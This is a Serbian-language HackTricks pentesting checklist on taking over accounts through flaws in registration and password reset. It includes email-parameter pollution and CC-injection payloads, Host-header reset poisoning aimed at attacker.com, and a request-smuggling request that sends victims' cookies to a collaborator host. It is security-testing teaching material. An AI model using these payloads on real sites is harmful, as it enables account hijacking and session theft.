hacktricks/pentesting-web/registration-vulnerabilities.md

11 KiB

Registracione i preuzimanje ranjivosti

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

WhiteIntel

WhiteIntel je pretraživač pokretan dark-web-om koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici kompromitovani od strane malvera za krađu podataka.

Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija.

Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za besplatno na:

{% embed url="https://whiteintel.io" %}


Preuzimanje registracije

Duplikat registracije

  • Pokušajte generisati koristeći već postojeće korisničko ime
  • Proverite variranje e-pošte:
  • velika slova
  • +1@
  • dodajte tačku u e-poštu
  • posebni karakteri u imenu e-pošte (%00, %09, %20)
  • Stavite crne karaktere posle e-pošte: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Enumeracija korisničkog imena

Proverite da li možete saznati kada je korisničko ime već registrovano unutar aplikacije.

Politika lozinke

Prilikom kreiranja korisnika proverite politiku lozinke (proverite da li možete koristiti slabe lozinke).
U tom slučaju možete pokušati sa brute force napadom na akreditive.

SQL Injection

Proverite ovu stranicu da biste saznali kako pokušati preuzimanje naloga ili izvlačenje informacija putem SQL Injection-a u formama registracije.

Oauth preuzimanje

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

SAML ranjivosti

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Promena e-pošte

Kada se registrujete, pokušajte da promenite e-poštu i proverite da li je ova promena ispravno validirana ili možete promeniti na proizvoljne e-adrese.

Dodatne provere

  • Proverite da li možete koristiti privremene e-adrese
  • Dugačka lozinka (>200) dovodi do DoS-a
  • Proverite ograničenja brzine pri kreiranju naloga
  • Koristite username@burp_collab.net i analizirajte callback

Preuzimanje resetovanja lozinke

Curenje tokena za resetovanje lozinke putem referera

  1. Zatražite resetovanje lozinke na vašu e-adresu
  2. Kliknite na link za resetovanje lozinke
  3. Ne menjajte lozinku
  4. Kliknite na bilo koje web lokacije trećih lica (npr. Facebook, Twitter)
  5. Presretnite zahtev u Burp Suite proxy-u
  6. Proverite da li referer zaglavlje otkriva token za resetovanje lozinke.

Trovanje resetovanja lozinke

  1. Presretnite zahtev za resetovanje lozinke u Burp Suite-u
  2. Dodajte ili izmenite sledeće zaglavlja u Burp Suite-u: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Prosledite zahtev sa izmenjenim zaglavljem
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Potražite URL za resetovanje lozinke na osnovu host zaglavlja kao što je: https://attacker.com/reset-password.php?token=TOKEN

Resetovanje lozinke putem parametra e-pošte

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR na API parametrima

  1. Napadač mora da se prijavi sa svojim nalogom i da ode na opciju Promeni lozinku.
  2. Pokrenite Burp Suite i presretnite zahtev.
  3. Pošaljite ga na karticu za ponavljanje i izmenite parametre: ID korisnika/e-pošta
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Slab token za resetovanje lozinke

Token za resetovanje lozinke treba da bude generisan nasumično i jedinstven svaki put.
Pokušajte da utvrdite da li token ističe ili je uvek isti, u nekim slučajevima algoritam generisanja je slab i može biti pogodan. Sledeće promenljive mogu biti korišćene od strane algoritma.

  • Vremenska oznaka
  • ID korisnika
  • E-pošta korisnika
  • Ime i prezime
  • Datum rođenja
  • Kriptografija
  • Samo brojevi
  • Mali niz tokena (karakteri između [A-Z,a-z,0-9])
  • Ponovna upotreba tokena
  • Datum isteka tokena

Otkrivanje tokena za resetovanje lozinke

  1. Pokrenite zahtev za resetovanje lozinke koristeći API/UI za određenu e-poštu, npr. test@mail.com
  2. Inspekcionišite odgovor servera i proverite resetToken
  3. Zatim koristite token u URL-u poput https://primer.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Resetovanje lozinke putem kolizije korisničkog imena

  1. Registrujte se na sistemu sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa belinama ubačenim pre i/ili posle korisničkog imena, npr. "admin "
  2. Zatražite resetovanje lozinke sa zlonamernim korisničkim imenom.
  3. Koristite token poslat na vašu e-poštu i resetujte lozinku žrtve.
  4. Povežite se sa nalogom žrtve sa novom lozinkom.

Platforma CTFd je bila ranjiva na ovaj napad.
Vidi: CVE-2020-7245

Preuzimanje naloga putem Cross Site Scripting-a

  1. Pronađite XSS unutar aplikacije ili poddomena ako su kolačići ograničeni na nadređeni domen: *.domain.com
  2. Procurejte trenutni kolačić sesije
  3. Autentifikujte se kao korisnik koristeći kolačić

Preuzimanje naloga putem HTTP zahteva Smuggling-a

1. Koristite smuggler da otkrijete vrstu HTTP zahteva Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Kreirajte zahtev koji će prebrisati POST / HTTP/1.1 sa sledećim podacima:
GET http://something.burpcollaborator.net HTTP/1.1 X: sa ciljem preusmeravanja žrtava na burpcollab i krađe njihovih kolačića
3. Konačan zahtev bi mogao izgledati ovako

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Izveštaji Hackerone o iskorišćavanju ovog baga\

Preuzimanje naloga putem CSRF

  1. Kreirajte payload za CSRF, npr. "HTML obrazac sa automatskim slanjem za promenu lozinke"
  2. Pošaljite payload

Preuzimanje naloga putem JWT

JSON Web Token može se koristiti za autentifikaciju korisnika.

  • Izmenite JWT sa drugim ID-jem korisnika / Email-om
  • Proverite da li postoji slabost u potpisu JWT-a

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Reference

WhiteIntel

WhiteIntel je pretraživač na dark vebu koji nudi besplatne funkcionalnosti za proveru da li je kompanija ili njeni korisnici ugroženi od strane malvera za krađu podataka.

Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija.

Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za besplatno na:

{% embed url="https://whiteintel.io" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: